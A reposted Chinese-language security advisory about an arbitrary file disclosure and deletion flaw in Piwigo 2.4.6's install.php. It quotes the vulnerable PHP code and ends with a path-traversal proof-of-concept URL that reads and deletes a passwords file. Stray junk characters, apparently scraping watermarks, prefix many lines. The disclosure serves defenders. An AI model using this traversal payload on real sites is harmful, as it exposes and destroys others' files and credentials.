Piwigo任意文件泄露和任意文件删除漏洞

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Piwigo是用PHP编写的相册脚本。
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7 ~* r+ W1 c3 t9 S4 F% uPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
/ S7 q! E4 V; K2 h====================================================================
/install.php:
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/ j& P, g, s2 ?; V; ~) H113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
114: {
2 ^8 J& T, C+ u0 B! X115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
116:   header('Cache-Control: no-cache, must-revalidate');
117:   header('Pragma: no-cache');
& R* c, X+ I9 P1 ?" j) `  Z118:   header('Content-Disposition: attachment; filename="database.inc.php"');
119:   header('Content-Transfer-Encoding: binary');
. ~5 T" {4 p" _  u, b120:   header('Content-Length: '.filesize($filename));
* b$ K1 T  \) a4 h121:   echo file_get_contents($filename);
2 G8 X& L# D9 d6 D; C+ S# n122:   unlink($filename);
$ h+ Y" V4 ~6 B3 o% {123:   exit();
124: }
====================================================================
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- B0 P6 ^' o7 Y9 z5 nTested on: Microsoft Windows 7 Ultimate SP1 (EN)
$ w' u$ @7 m  S           Apache 2.4.2 (Win32)
* ^% s2 }$ b% q- l. r           PHP 5.4.4
: c. D9 p; Q3 _0 y0 F' p           MySQL 5.5.25a
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Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience
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Advisory ID: ZSL-2013-5127
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843
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15.02.2013
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( [) M" E7 \# }, ihttp://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt